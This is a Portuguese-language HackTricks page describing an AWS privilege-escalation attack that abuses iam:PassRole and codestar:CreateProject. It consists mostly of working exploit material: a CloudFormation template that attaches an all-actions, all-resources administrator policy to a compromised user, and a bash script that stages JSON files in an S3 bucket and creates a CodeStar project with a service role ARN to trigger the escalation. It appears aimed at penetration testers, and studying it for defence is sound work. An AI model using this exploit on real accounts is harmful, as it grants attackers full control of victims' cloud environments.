iam:PassRole, codestar:CreateProject

Suporte ao HackTricks

Com essas permissões, você pode abusar de uma função IAM do codestar para realizar ações arbitrárias por meio de um modelo cloudformation.

Para explorar isso, você precisa criar um bucket S3 acessível a partir da conta atacada. Faça upload de um arquivo chamado toolchain.json. Este arquivo deve conter o modelo de exploração do cloudformation. O seguinte pode ser usado para definir uma política gerenciada para um usuário sob seu controle e dar a ele permissões de administrador:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

Também faça upload deste arquivo zip vazio para o bucket:

Lembre-se de que o bucket com ambos os arquivos deve ser acessível pela conta da vítima.

Com ambas as coisas carregadas, agora você pode prosseguir com a exploração criando um projeto codestar:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Este exploit é baseado no exploit Pacu desses privilégios: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Nele você pode encontrar uma variação para criar uma política gerenciada por administradores para uma função em vez de para um usuário.

Suporte ao HackTricks

Last updated